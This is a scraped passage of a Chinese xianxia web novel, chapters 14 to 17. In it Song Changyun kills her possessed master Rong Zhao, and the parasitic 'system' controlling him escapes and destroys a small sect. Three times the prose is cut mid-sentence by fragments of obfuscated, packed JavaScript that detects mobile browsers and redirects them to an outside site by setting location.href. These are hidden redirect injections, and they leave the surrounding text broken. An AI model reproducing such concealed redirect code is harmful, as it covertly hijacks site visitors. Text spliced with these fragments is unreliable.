p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020705|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 系统终于反应过来自己前往妖域周围试图寻找宋长云那日中了她的算计。 她和当年她的母亲一样难缠。 当年司命的母亲对他们来说同样棘手。 它没办法长时间待在妖域,自然也没办法控制身负凤凰精血的司氏族人,只能从别处想办法。 它利用了她后宫里唯一一个夫郎,许了他妖皇之位,让他想办法杀死妖皇。 司氏一族拥有修为的传承,那时妖皇的修为远远超过现在的容昭。他们之所以能成功,是因为那时的她对自己的夫郎真的动了情。 多亏了她那夫郎的好样貌,他们终于杀死了她,曾经卑微的夫郎也在他们的谋划下顺利当上了妖皇。 只是那时它得到的能量依旧不够完整。她提前将原本自己死后才会传承给女儿的修为剥离出来,除此之外,还有一部分力量不知所踪。 妖皇,应璃真,还有其她所有人,她们之中许多人明明都没有交集,却像是商量好一样做出了一些完全脱离它掌控的事情。 那个夫郎最后也是个不中用的,坐上王位没几年就被自己女儿弄死了,它使了点办法保住了他的魂魄,筹谋着下一个妖族内的目标,新妖皇,司命。 原本如果宋长云这条线能成功,它是准备放弃妖族那边的。 它冷笑一下,动用自己的能量再次帮了容昭一把。 要替他控制她们,又要影响其她人,容昭的积分不够就要它贴补自己的能量。 它需要更多的能量。 忽然,像是感应到什么,光球回到容昭的身体,在他脑中响起了警报。 刚刚的一瞬间出现了巨大的能量波动,是他们一直在苦寻的,应璃真的本命剑。 他们最后只知道应璃真将自己大部分力量封存进了自己的本命剑中,却翻遍整个修仙界都找不到那把名为问心的剑。 它终于出现了。 系统察觉到它的能量在渐渐衰减,动用自己的能量治好了容昭的伤,命令他立刻前往问心剑出现的方位。 它需要能量。 14.第 14 章 容昭在半途与执剑而来的宋长云相遇。 “在她身上。”系统在他脑中出声。 他们一直在找的,原本属于应璃真的力量。 还是来晚一步。 容昭冷着脸,熟悉的气息让他的眼神愈发冷冽,他仿佛又一次看到了应璃真,那个永远压自己一头的女人。 明明拥有系统的人是他,明明这个世界的主角应该是他,凭什么应璃真的修炼速度永远比他快,凭什么他永远比不过应璃真。 好在他还有系统,好在后来应璃真也死了。 可现在,他面前的宋长云,曾经他不放在眼里的孩子,被应璃真捡回来之后不闻不问的孩子,他玩笑一般收为徒儿的孩子,像应璃真一样,蔑视地看着他。 她身上无法掩饰的属于应璃真的气息,仿佛她再一次将他踩在了脚下。 “竟是你。”容昭开口,森寒的语气像是要将宋长云生吞活剥,“她竟然给了你。” 他那么多年苦寻的东西,竟近在咫尺。 容昭长久凝视着宋长云,许久,他忽而笑了一下,高高在上地语气对宋长云道:“交出来,我饶你不死。” 宋长云面色不变,她手执破云剑,剑尖指向面前的人:“容昭。” 容昭,而非师尊。 他这样的人,根本不配成为她的师尊。 “今日,我是来杀你的。”她平静道,像是在说一件稀松平常的小事。 容昭面色瞬间变得更加阴沉。 两道强大的威压同时散开,不消片刻,便有许多人问声聚集而来,瞧着二人剑拔弩张的样子面面相觑。 她们认出那名面色阴郁的男子竟是平日里总温和示人的青云宗掌门,也认出了那名持剑的女子是原本已经失踪多日的宋长云。 自甄斐仁死后,宋长云也随之销声匿迹。即便魂灯未灭许多人也早以为她已与甄斐仁一同遇难。 她们以为她被拖入魔窟,被那群怨气冲天的魔族日日折磨,以为她的魂灯迟早会随甄斐仁带的一同灭去。 而此刻,所有人都能看出这位“死而复生”的女修身上的变化,她不仅没被拖入魔窟,还遇到了泼天的机缘。分明不到一年的时间,宋长云的修为却提升到了极为恐怖的高度,她现在的实力莫说她们,甚至远在容昭之上。 只是不知为何,实力大增的她却迟迟不回自己的宗门,如此更是不由分说地执剑指向自己的师尊。 “宋长云!”一位青云宗长老高声喊宋长云的名字。长老脸上表情晦涩难辨地看着这位曾经是青云宗骄傲,后来却因一凡人而堕落的徒子。 “你要与你师尊动手吗?”她正颜厉色?道。 宋长云不语,只是长剑一挥划出一道结界,将众人推远,给自己与容昭隔绝出一片空间。 容昭早已无法维持平日里在人前的体面,他知道不论来多少人宋长云都不会改变自己的决定,她要与他决一死斗,就在今日,就在此刻。 他与宋长云,此番必有一死。 而他,不能死,也不会死。 他容昭才是这个世界的主角,什么宋长云,曾经的应璃真都不曾真正胜过她,如今宋长云只是得到了应璃真部分修为,远不及当年的应璃真。 容昭的表情几经变换,最终叹了口气,似是极为无奈地望向宋长云:“长云,你我师徒一场,为何会到如今这种地步。” 说着,随机唤出自己的本命剑。 最初系统并不建议他成为剑修,只不过应璃真是剑修,他便也选了剑修。 宋长云并不与他多废话,结界外的声音穿过结界,她也不予理会。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025374|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 摒弃一切杂念,她眼中只有容昭,脑中所想皆是杀了他,杀了它,为应掌门,为她们报仇。 两股同源的剑气相撞,余波被结界拦截并未伤到外面的人分毫。 沈春野迟来了许久,她受罚之后的伤还未痊愈,只是感受到了那股威压中有师姐的气息,费了些力气才挣脱了罗翊天给她设下的禁锢。 罗翊天知道她一定会担心她的师姐,师尊担心她受到波及匆匆设下禁锢将伤势未愈的她拦下,却还是被她挣脱来到了这里。 “师姐——”沈春野喃喃。她被拦在结界之外,只隐约看到远处有两道身影交战,速度快得叫人看不清。 其中一个是师姐,另一个是…… “你觉得谁会赢?” 一道突兀的声音在身旁响起,沈春野转头,看见一道高大的身影。 是司命。 沈春野张了张嘴,却什么都说不出。司命看向她,轻轻笑道:“看不出来吗?那是你们青云宗的掌门。” 沈春野错愕。 掌门……师姐的师尊。 她抬头看向半空,终于从余波中感受到了另一股熟悉的气息。 师姐与掌门……为何会这样? “你觉得谁会赢?”司命再一次问她。 沈春野有些失神,她的头轻摇,不知道是在说不知道还是在表达自己的不可置信。 司命哼笑一声,没再说话。 还以为这个被宋长云喜爱的师妹能更清醒一点,说到底还是与其她人一样,都是被容昭那老东西蒙蔽的废物。 “——师姐。” 身旁的沈春野忽然开口。司命看向她,只看见她抬头望着缠斗的两人,微颤的嗓音念出的两个字,不知道是在回答司命刚才的问题,还是愣怔中无意识的自语。 15.第 15 章 剑气划出的结界终于在长久的威压下碎裂。 无形的风被两道剑气卷起宛如利刃般射向周围,众人纷纷架起周身结界进行自保,许多人受不了两位大能的威压,口吐鲜血,在旁人的搀扶下狼狈离开。 司命面前筑起一道淡金色的透明空气墙,将已经有些受不住的沈春野护在了身后。 在场的众人大多站在容昭一方。她们什么都不知道,只觉得自己眼见为实。 有人已经蠢蠢欲动想要上前帮容昭一把,她们盯着上空两道残影,随时准备成为容昭的助力。 只是还未有所行动,身体被一道突如其来的威压死死压制。 妖皇的威压尽数展开,玲珑卫四人立于司命身侧,以司命为中心的领域霎时将所有人包裹在内。 所有人汗毛立起,后背发凉,仿佛一瞬间被凶狠的猛兽盯上。 司命一言不发,只淡漠的目光扫向方才想要有所动作的几人。 几人只觉得一股寒意深入骨髓,神魂也仿佛被那道强大的碾过。 “妖皇殿下,”手拿长刀的修士大喝一声,目眦欲裂地看向司命,“你这是要与我修仙界为敌吗!” 司命并不将这位在她威压下连站都站不起来的小修士放在眼里。 “真相未明,我们殿下只是想保护诸位免受波及。”姽婳笑盈盈地看向那刀客,紫眸流转,学着那刀客的语气随手将一顶勾结魔族的帽子扣在了刀客一众人头上,“我妖族殿下一片好意竟被尔等如此污蔑,莫不是想要趁机挑起事端引起两族交战,好将你们效忠的魔族放出来为祸世间吧。” “你——” 她们正要反驳,却间一人从人群后缓缓走出。 江离忧不知何时出现在了司命的领域内。 “江长老,是那宋长云——”刀客想要告状的话在江离忧平静的目光中戛然而止。 她像是察觉到了什么,横起长刀护着自己的同伴向后退了几步。 江离忧轻叹一声,并未理会她们,转而看向司命。 “帮我。”她只说了这两个字。 司命一言不发,只径自抬手,身后玲珑卫四人变换阵形,司命的领域瞬间扩大。 身后渐渐幻化出碧血琼英的本体,无数花粉裹挟着凤凰精血的气息尽数散开,充斥满整个领域。 与此同时,江离忧双手结印,曾经应璃真亲手写下的阵法自她手中结成,渐渐将众人笼罩。 江离忧主修医道,辅以神魂,是最适合这个阵法的人。应璃真当初写下这个阵法时,便是预料到了日后的局面。 凤血之气压制住“它”的一瞬间,刻在众人神魂中的印记会在那一刻有所松动,此时,便是最好的时机。 繁复的阵纹上游走着精纯的灵气灌进众人体内,骤然冲刷向已然松动的印记,残缺不全的记忆逐渐开始修补串联。 被容昭与系统设下的印记所蒙蔽的心神逐渐清明,充满凤血气息的阵法烙印替代系统印记刻入她们的神魂,许多不属于她们的记忆,那些她们不曾看过的真相在一瞬间涌入她们的脑海。 等她们再次睁眼,不必江离忧等人多言,她们已经明了了一切。 曾经一次又一次被蒙蔽前的猜测早已在她们心底种下了一颗种子,只等一个时机,让种子生根发芽。 她们再次看向半空中的两人,双拳逐渐紧握。 这次她们站在了宋长云的身后。 正在与宋长云缠斗的容昭与系统已经无暇顾忌下方的动静,等他们察觉到不对劲时,系统才惊觉他们不妙。 “走!”它当机立断,朝容昭怒喝。 它的能量在急速衰减,根本无力再去弥补容昭的亏空。 容昭也意识到现在的形势不妙,便听系统的话决定要跑。可宋长云哪肯给他逃的机会,紧追在他身后让他无处可逃。 容昭的抵御不及,身形渐渐狼狈,他忍不住咒骂,却在分神的一刻给了对方机会,再回神时,剑尖已抵上了他的咽喉。 只消再往前一寸,便能要了他的命。 “怎么可能……怎么可能!” 半空中的容昭崩溃嘶吼。 明明他才是主角,他才是气运之子,明明天道都应该站在他这边! 宋长云只是平静地看着他发指眦裂,灵力幻化成绳索,将容昭死死捆住。 “我们从来都不是一个人。”她说,“把它交出来。” 容昭脑中的系统惊愕。 她们……她们竟然真的知道它的存在。 容昭已经渐渐平复下来,像是想到了什么,疯狂的面容开始大笑:“你若杀了我,这个世界便会崩溃。” 她杀不了他,天道会保他。 他与脑中的系统洋洋得意,最后却只听见系统在他脑子里骂了一句蠢货,便再也听不见系统的声音。 身体里似乎有什么在逐渐流失,容昭终于开始感到恐慌。 系统要放弃他,即便强制解绑会被反噬也要在此刻放弃他……为什么,他不能死,他不能死! 桎梏着容昭的宋长云也感受到了是什么,长剑挑起,毫不犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030332|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地刺进了容昭的识海,翻涌的灵力同时震碎了他的丹田。 容昭瞪着眼睛,同当日的甄斐仁一样,死不瞑目。 宋长云皱眉,抽回破云剑。没了支撑的尸体直直下坠,摔成了一滩肉泥。 她看向远方,目光愈发深沉。 回到地面,司命早已冲过来。她看着宋长云满身伤痕,叫来白藏替她医治。 白藏不肯:“殿下的身体——” 司命冷冷地扫向她,白藏抿紧唇,没敢继续说下去。 江离忧拍拍司命的手臂,宽慰道:“白藏也是担心你。长云这里有我,你先去叫白藏替你疗伤。” 为了压制“它”的片刻,司命消耗太大。且伤在本体,若不及时医治,怕是会伤及根本。 其余众人沉默着替她们护法。 沈春野默默将自己的灵力送向江离忧。 方才的一切对她冲击太大,她如何也想不到向来明堂正道的掌门竟然是害死应掌门的罪魁祸首,还是以那样恶毒的方式。 容昭的尸体就在不远处,没有人去理会,没有人想要为他收尸。 许久,有人出现在沈春野的视线里。她从远处走来,逐渐靠进那摊肉泥。 灼热的烈焰燃起,尉迟燎站在尸体旁,燃起的火焰几乎要灼烧到她。 她冷眼看着容昭在她的火焰里一点点化成灰烬,尸骨无存,再也没有了复生的可能。 容昭死了。 师尊的仇报了。 她盯着那片灰烬,百年来第一次笑得畅快,笑得她开始剧烈咳起来,原本就强撑着的身体失了力,又在倒下的一瞬间被人接住。 沈春野伤势未愈的身体托着尉迟燎,被人从身后重重敲了一下后脑。 罗翊天瞪着自家徒儿:“伤还没好乱跑什么,给我。” 她从沈春野手里接过尉迟燎,让沈春野去一旁休息。即便她的脸色也并没有。 江离忧一个人的力量不足以完成那庞大的阵法,罗翊天也她们出了不少力。 江离忧几日前找到几人,不由分说地将一股力量注入进她们的识海。 她们只比众人提早了几天得知真相。 罗翊天不由得吐槽江离忧土匪一般的行径,那时江离忧是直接将她们绑来的。 她面色复杂地看了眼已经化成灰烬的容昭。 现在,应该已经结束了吧。 人群中央的宋长云终于睁开眼睛,她靠在江离忧怀里,声音微弱。 “还没完。”她面色凝重,“师姑,它逃了。” 16.第 16 章 几日之后,尉迟燎与宋长云几人道别,背上自己单薄的包袱,再一次踏上旅程。 她说她要去寻自己的师妹。师妹是这个世上师尊之外她唯一的亲人了。她要和师妹一起要回到煅金阁,重新研制师尊曾经想要制出来的护身法器。 以前不懂师尊为何日日将自己关起来钻研那个看起来毫无用处的东西,后来终于了悟,煅金阁却早已不是从前的煅金阁了。 尉迟燎此番回去,要完成师尊未完成的事情,也要继承师尊的遗志,将煅金阁重新发扬光大。 师尊一手建立起来的煅金阁不能毁在那群人手里。 现在容昭已死,青云宗掌门的位置再次空了出来。 众人在宋长云与江离忧之间猜测不定。若按修为来算,江离忧已经比不过宋长云,掌门之位合该是宋长云来坐。 宋长云却摇摇头:“我不如江师姑。” 严格来说,她在本质上其实和容昭是一样的。能有如今的修为靠的都不是自己。 若非要说有什么不同,那便是容昭靠的是掠夺,而宋长云则是被她们亲手造就。 宋长云沉着眉,陷入了沉思。 容昭只是“它”的一颗棋子,在容昭死的那一刻,她感受到了有什么东西挣脱了她的束缚,悄无声息地逃了。 它能成就一个容昭,就能成就另一个容昭。 况且,在它辅佐容昭之时,还曾分神出来去过妖域。 她们无法确定它手上的棋子是否只有死去的容昭,这次让它逃走,怕是如同石沉大海,再想要寻它,不知道要再耗费多少时间。 如果迟迟寻不到,让蛰伏起来的它再次强大起来…… 不,它不会再那么轻易地就能抢走她们的一切。 那日在场的所有人的神魂中都被刻入了江离忧的阵法烙印,她们不会再像从前一样一无所知地任它摆布。 宋长云并不气馁。 几百年前的她们没有放弃,在一片迷雾中寻到了一条路,那现在的她们站在这条路上,眼前是更加开阔的视野,心中的信念便要更加坚定。 她们总有办法。 解决了容昭,宋长云终于不用整日待在妖域。身上的伤稍好一些后,便跟着江离忧她们回了青云宗。 经过了这些事情,司命总不放心她,让姽婳留下,跟在宋长云身边。 姽婳专精神魂,最擅长蛊惑人心。如果宋长云再次出现问题,她能第一时间察觉。 在她们现在已知的所有信息中,“它”寄生在容昭身上,是想培育一个“主角”,一个这方世界所谓的气运之子。 它培育的办法便是掠夺她人补给自身,而被它所掠夺的她们早已察觉到它的目的,早早做出了布局。 到现在,宋长云才更像是它所需要的“主角”,难保它不会再次把主意打到宋长云身上。 等宋长云离开回了青云宗,司命也带着自己的人回了妖域。 她也有事要处理。 - 青云宗。 自那日之后,原本就安静地青云宗显得更加寂静,所有人都觉得头顶好像悬着一块巨石,随时都能压下来,将她们彻底压垮。 她们竟然能在不知不觉间被人在神魂种下能影响侵染意识的印记。 就连应掌门那种境界的修士都无法抵抗,不敢想象那东西到底是一个什么样的存在。 即便那日江掌门众人与妖族殿下合力为她们洗去了那操控她们的印记,又将曾经应掌门写下的阵法烙印刻在了她们的神魂之中,可—— 连应掌门都没办法的对手,许多顶级修士全力才能勉强抑制“它”一瞬,宋长云受那么重的伤才只是堪堪将容昭杀死。 谁能保证她们的神魂中的烙印一定有作用,谁能保证它不会在那一日卷土重来? 不只青云宗,整个修仙界上空都飘着驱散不去的阴霾。 沈春野是在一天夜里找到宋长云的。 她踌躇地站在宋长云门前,徘徊许久都没有伸出手去敲门。 是门内的宋长云按捺不住,先一步来开了门。 “进来吧。”宋长云的声音温和而平静。 此时夜色已深。今日是满月,圆月高悬在天上,皎洁而明亮的月光照满了青云宗每一座山峰。 “怎么这么晚过来。”宋长云看着沈春野问道。 沈春野迟疑了片晌,眼中有光芒闪动。 “师姐。”她的声音里有些不确定,“那个阵法我能学吗?” 不需要像师尊她们一样影响那么多人,哪怕只能影响一个人,只能让一个人从它的印记中醒来。 那日在场的人有许多,可比起整个修仙界又太少太少。 即便只是杀死一个容昭便让她们耗费了那么多的心力,那杀死“它”呢? 她们是不是还需要更多人的力量? 沈春野也想做些什么。 她不像江长老那么厉害,也不如师姐聪明,修炼了那么多年也没有碰到化神,时常担心自己会给师尊丢脸。即便她每次这样想都会被师尊敲一脑门。 她不想什么都做不了只能躲在她们的羽翼下苟活,她也想出一份力,即便只是微不足道的一份。 宋长云一扬眉:“当然可以” 她伸出手,指尖轻点,在空中画出阵法的图样,而后旋掌,虚空中的图样被送入沈春野的识海。 “回去多加练习。” 她笑笑,抬手揉了揉沈春野的脑袋:“别多想,你已经做得很好了。” 沈春野能察觉到自己在那百年间的异样,想尽办法去证实,也试图寻找办法解救她。 她的师妹,已经做得很好很好了。 沈春野得了肯定和阵法的修习秘诀,心满意足地听师姐的话回去睡觉,半夜又从床上爬起来,跑到后山去练习那阵法。 罗翊天听到响动跟了过来,便见着自家徒儿一脸认真地勤勉练习。 沈春野破镜是早晚的事,她天赋算不上多好却也不差,因为知道自己天赋不高所以总比旁人更努力些。正常来说她早该破镜了,只是这么多年被那东西的神魂印记扰乱了心境,让修为卡在了原地。 罗翊天看着沈春野的样子,心中有些感慨。她叹了口气,没出声打扰自己那较起劲来如同倔驴一样的乖徒,转身回去了。 - 青云宗千里之外的一处山洞内,一名身穿黑袍的男子狼狈地靠在石头上,阴毒的目光死死盯着青云宗的方向。 系统无法离开宿主太久,它找不到合适的宿主,于是寄生在了一具快要死亡的身体里。 这具身体已经开始散发出腐烂的气息,好像昭示着它被重创的本体。 容昭濒死时它选择强行解除绑定,系统与宿主绑定之后无法解绑,强行解绑的后果是对它造成了重创,导致它的能量急速衰减。 原本距离刷满能量值只差临门一脚,宋长云那个女人差点让它功亏一篑。 容昭与宋长云那一战让它感受到了很多熟悉的气息,那些都是它曾经“夺舍”过的人,那些原本应该被它掠夺的力量同时出现在了另一个人的身上。 系统始终想不通,那个时候的她们明明根本抵抗不了它的蛊惑,又是怎么凑到一起进行谋算,最后险些让它跟着容昭一起死去的? 宋长云是何时知道这些事情的?她从哪里得到了这些力量?明明它已经成功夺舍了她,明明她应该再也回不来,亲眼看着自己被吸干血液,一步一步迈向死亡,可她却毫无理由地回来了,还杀死了甄斐仁,将他的尸体湮灭得连一丝灰烬也不剩下。 它喘息片刻,逐渐平复下心情。 没关系,它数百年来对修仙界的控制不是宋长云几个人一朝一夕能改变得了的。 就算那日在场的人已经被阵法烙印洗去了它的印记,和修仙界那么多人比起来,她们就像蝼蚁一般渺小。 她们改变不了这个世界,只要它不死,这个世界依然是它的囊中之物。 它冷笑一声,拖着身体起来,打算出去找点“吃的”。 它所藏身的山洞位于一个小宗门的后山,而这副濒死的身体,正是这个小宗门内的徒子,下山时遇到妖兽,他法力低微,被那妖兽一爪子拍死了。 被系统寄生的身体裹了裹宽大的黑袍,试图遮掩去身上的血腥味和腐败的气息。 — 宋长云跟着姽婳的指引找到那个山洞时,洞内只剩下一片干涸得漆黑的血迹。 几日前姽婳感受到千里之外有一处异动,宋长云猜测是“它”在作祟,于是让姽婳带着她去找异动的源头。两人寂静寻找找到这里,这里却早已没了人影。 “山上有个小宗门。”姽婳皱着眉,这里除了地面上这团血迹,正常得有些不对劲。 “我们去看看。”宋长云说。 这座山不大,二人直接飞上山顶。 这个小宗门内并没有多厉害的修士,修为最高的掌门也只是元婴顶阶。两人隐去了身形,在宗门内如入无人之地。 “太正常了。”姽婳说。 正常得不正常。 姽婳看向角落里一个小女修,掐出一个诀,那人却没有任何反应。 她用的是引魂术,以面前这个修士的修为来说,被姽婳施加了引魂术应该魂魄离开□□,失了灵魂的□□只能僵立在原地。 面前这个女修却毫无反应。 不只是她,其她人也是如此。 原因要么是对方的修为深厚,姽婳无法影响她们,要么,便是这具身体里早就没有灵魂了。 能在朝夕之间夺走那么多人的魂魄,要么是“它”,要么是魔修。魔修被封印在魔窟已经许多年没出现过,那便只能是“它”。 细探之下,这个小宗门里的人都已经没了生机,身上的修为与根骨尽数被夺走,即便还活着,也已经与凡人无异。宋长云眸光沉下去,感到深深愤怒。 如今它已经连装都不装了,直接夺了这么多人的性命。 “它既然已经夺了她们的性命吸走了她们的修为,为什么还要费力伪装出一副什么都没有发生的样子?”姽婳不解,她质疑的声音还没落下,变故陡生。 原本一派祥和的宗门忽然之间变了样,祥和的气氛霎时消失,一众人如同傀儡一般同时转身看向宋长云与姽婳。 包括那个被姽婳施了引魂术的女修。 她们没了魂魄,阵法对她们也无效。 它想做什么?用一个小宗门的傀儡将她们耗死? 姽婳看着只是站着不动盯着她们,一副诡异模样的傀儡们,视线在她们中间来回观察,忽然,她的目光定格在某处,脸色一变。 “是噬魂阵。”宋长云平静地说。 姽婳抿着唇,没再说话。 用死人的身体布阵,如今阵法已成,就算把这些人都烧成灰烬也无济于事。 献祭了这么多人,阵法的能量到达了顶峰,她们几乎被困死在了噬魂阵内。 宋长云握着剑。 “它”现在一定就在附近,可能就藏在哪具尸体里,阴毒地盯着她。 片晌,她的目光锁定向其中一具尸体。 那是一个老者,不知道是到了如此年纪才踏入仙途还是寿数将尽,浑浊的眼珠盯向她们,看起来与其它傀儡没什么区别。 宋长云认准了,手中动作快得叫人看不清,须臾间那具尸体已经断成了两截。 尸体倒下,有什么从中飞出来,很快消失不见。 杀不死。 它没有实体,仿佛怎么都杀不死它。 杀死容昭时它逃了,现在,即便把这些尸体都砍成碎块,它也不会死。 噬魂阵渐渐启动。 宋长云忽然伸手拽住了姽婳,手中长剑劈向空中,将阵法劈出缝隙的同时将姽婳甩了出去。 被扔出阵法的姽 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姽婳跟过来的时候只看见宋长云已经收起了破云剑,身前是一具已经断成两截的腐烂尸体。 “怎么样了?”姽婳问。 宋长云摇摇头。 它逃得太快了。 宋长云没有多纠结,转身回去挖坑。 这么多人,要挖一个很大的坑。 她没有说话,只是在心里又给它记上了一笔仇。 姽婳和她一起挖。 她还是忍不住问:“你为什么要先把我救出来?你知道的,我不会死。” 也许就差那一点,为了将她送出噬魂阵所消耗的灵力,也许就差这一点,就能抓住它了。 宋长云埋头挖着坑,声音没什么起伏,仿佛那只是再平常不过又理所当然的事情。 “你是阿肆的人,我不能让你跟着我遇险。” 刚刚那一击她也并没有全然的把握。她无法带着姽婳一起出来,如果把姽婳留在噬魂阵里,而阵法没有因为她的攻击而停下,那么姽婳必然会受伤。 “你很在意殿下。”姽婳说。 “嗯,阿肆是我的好友。”宋长云自然道。 姽婳笑了笑:“殿下也很在意你。” 虽然殿下嘴上总说着她与宋长云并不是什么至交好友,可宋长云出事时,她是最担心的。 偶尔也会因为宋长云身旁其她的朋友醋上一下。 殿下继承王位继承得太早,她明明还那样年轻,正是该好好玩闹的年纪,却一言不发地接下了妖皇的责任,替前妖皇报了仇。 所以姽婳喜欢宋长云,若是日后碰上她与宋长云今日对调的情况,她并不会舍不得自己那点修为。 挖了一个很大很大的坑,两人合力将尸体全部埋进坑里,稍稍处理了下远处的巨石,做了一个潦草的墓碑。 它的踪迹无处可循,她们却在明处。它可以随时引诱她来自投罗网,这次是一个小宗门,下次呢? 如果它去祸害凡人呢?下次的代价是一座城,还是一国? 宋长云闭上眼,心中的郁气无法疏解。 “走吧,先回去。”她开口。 回到青云宗。宋长云忽然想到什么,她看向姽婳。 “你……”她觉得这个问题有些冒昧,不知道该怎么开口。 姽婳看出她的犹豫,笑了一下,宽慰道:“宋姑娘直说便是。” 宋长云定了定神:“你死过吗?” “死过。我们四个都死过。”姽婳说,“不过只要司氏一族还在,我们就不会消失。” 宋长云想了想,又问道:“如果司命不是妖皇呢?” 姽婳摇摇头:“我暂时也不知道。” 自碧血琼英诞生开始,便注定是妖族的王。 只除了上一任妖皇的夫郎夺权过几年,也很快被她们现在的殿下杀死。 “怎么了?”姽婳察觉她可能想到了什么,问道。 过了许久,宋长云才摇摇头。 “我也理不清现在的思绪。” 她们现在面临的最大的问题就是,如何才能杀死它。 它没有肉身,容昭死后也没了固定的寄生者。 宋长云忽然眼神一动。 她想要的,是她身上的力量。 或许,能有什么法子,用她做诱饵,让它逃无可逃。 身旁的姽婳忽然躬身行了个对妖皇的见礼,随后看向宋长云:“殿下让我转告你,下次再以身犯险就打断你的腿。” 宋长云暂时放下了脑子里的诸多想法,问道:“阿肆如何了?” 那日司命匆匆回去妖域之后,二人便没在见过面。不过玲珑卫之间信息互通,她们能随时通过玲珑卫进行沟通。 只是苦了姽婳这个传声筒。 “殿下在审问他。” 他,指的是前任妖皇殿下曾经的夫郎。 即便有它保着灵魂不灭,可她们妖族折磨灵魂的法子不可枚举,便是死不了,也能叫他痛不欲生。 它连容昭都能放弃,又怎么会一直费力留着一个无用的灵魂。 他是现在唯一一个曾经与它接触过的人,说不定能从他嘴里撬出一些关于它的消息。 宋长云忽而皱起眉,朝着姽婳嘱咐道:“叫阿肆务必小心。” 她总觉得它的手段不止于此,它们从未正面交锋过,没有人知道它到底是个什么东西。 宋长云在那段自己旁观的记忆里听应掌门她们说过,它是自异世而来,不属于这个世界。 它费尽心思来到这个世界,只是为了创造一个所谓的“主角”吗? 创造完主角之后呢?还会有其它来自异世的东西来到她们的世界吗? 宋长云长长地舒出一口气。 不论它的目的究竟是什么,她们都会尽全力去阻止。 这是属于她们的世界。 17.第 17 章 自容昭身死那一日起便沉寂许久的修仙界终于传出一个好消息——许多卡在瓶颈多年的女修们接连破镜了。 其中自然也包括沈春野。 罗翊天很为自己的乖徒高兴,暂时把什么阴谋什么修仙界抛到了脑后,着手准备给沈春野办一个破镜礼。 沈春野不太擅长处理人太多的场合,罗翊天便也没弄得太隆重,只邀请了几个沈春野相熟的人。 司命破天荒也来了。 她带了一只硕大的变异灵芝作贺礼,这种灵芝只生长在妖域,对修者修行有奇效。 玲珑卫四人虽然并不参与这场破镜礼,也各自给沈春野带了礼物。 众人在忙忙碌碌中偷得半日闲,光景好似回到了许多年前。 笑闹间,沈春野凑到司命面前,跟她小声道了声歉。 从前她去找司命借魂镜被拒绝,沈春野因为此事曾与司命闹过一场。 那时的她觉得司命明明是师姐的好友,眼见着师姐可能被什么东西夺舍,不仅不帮忙还连魂镜都不肯借出,沈春野觉得妖族殿下不过也是个假仁假义之徒,后来便再也没给过司命好脸色。 现在想想,如果不是司命将师姐视作好友,而她又是师姐的师妹,单凭她那时与她闹的那一场,妖皇殿下便能直接将她打杀了去。 直到现在得知真相,她才知道那时是司命对她多加忍让。 “无妨。”司命淡淡摇头。 她比沈春野年长上许多岁,宋长云喜爱她,她便也将沈春野当作一个小妹妹。不过是闹闹脾气罢了,对她没什么影响。 礼散后,司命并未着急离开,总归现在掌门是江离忧,不会明里暗里赶她离开,她在青云宗也更自在了些,便多逗留了几日。 那枚指骨被她挂在腰侧,权当做一只腰坠。 宋长云随意瞥了一眼那指骨,问道:“没审出什么?” “嗯。”司命无奈道,“这几日只听他骂我了。” 随即,司命嘴角弯起一个近乎恶劣的笑:“我把妖族那七十二道刑罚在他身上用了个遍。” 光是听他的哀嚎惨叫,便足以让司命畅快。 不想死,那便痛苦地活着。 还要多亏了那个“它”让她有机会多多折磨他。 “你当心些,它留着他,一定是有什么用。” 司命不置可否。 她想过它留着他是为了夺舍自己的身体,无论如何她都是母亲与他的孩子,它无法直接夺舍她,或许会从他的魂魄上下手。 可是那么久过去,他的魂魄除了日日被她想尽办法折磨,便是被封印在指骨里动弹不得,丝毫没有能反击她的迹象。 入夜,司命在屋顶晒月亮,远远就看见沈春野朝着宋长云房间的方向走来。她瞧着她背着个包袱,偷偷摸摸行为鬼祟,一副要离家出走的模样。 “你要去哪儿?” 听见声音,沈春野抬头,看见屋顶上的司命。 “师姐呢?”她问。 司命指了指身下的房子,沈春野点点头,背着包袱走了进去。 司命在房顶偷听墙角,她听见沈春野说她想出去游历。 “我想出去看看,或许还能帮到什么人。”沈春野说,她的眼睛很亮,前些时日的阴霾被一扫而空,眼底满是对未来的憧憬。 “师尊总让我再等几日,说我伤势未愈,但其实我身上的伤早好了,是师尊她老人家不放心。”沈春野说,“我知道现在它还在蛰伏,师尊是担心我一个人在外面会遇到危险,可我——” “可我不能一直活在你们的荫庇之下。”沈春野定定望着宋长云,“师 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于是原本还在山顶吹风的罗翊天忽然乘风而起,宋长云只来得及问了一句“师姑这么晚是要去哪儿”,便听见罗翊天丢下一句“我去找那东西的踪迹去”,随后与沈春野一前一后消失在了夜色里。 司命得知这事之后很是无语,评价了句不愧是师徒。 不过寻找那东西的踪迹确实是她们现在首要做的。 两人在屋顶闲聊,宋长云看见有什么星星点点的东西从司命身上飞出,而后渐渐消失在夜色中。 是她派出去寻它的花虜。 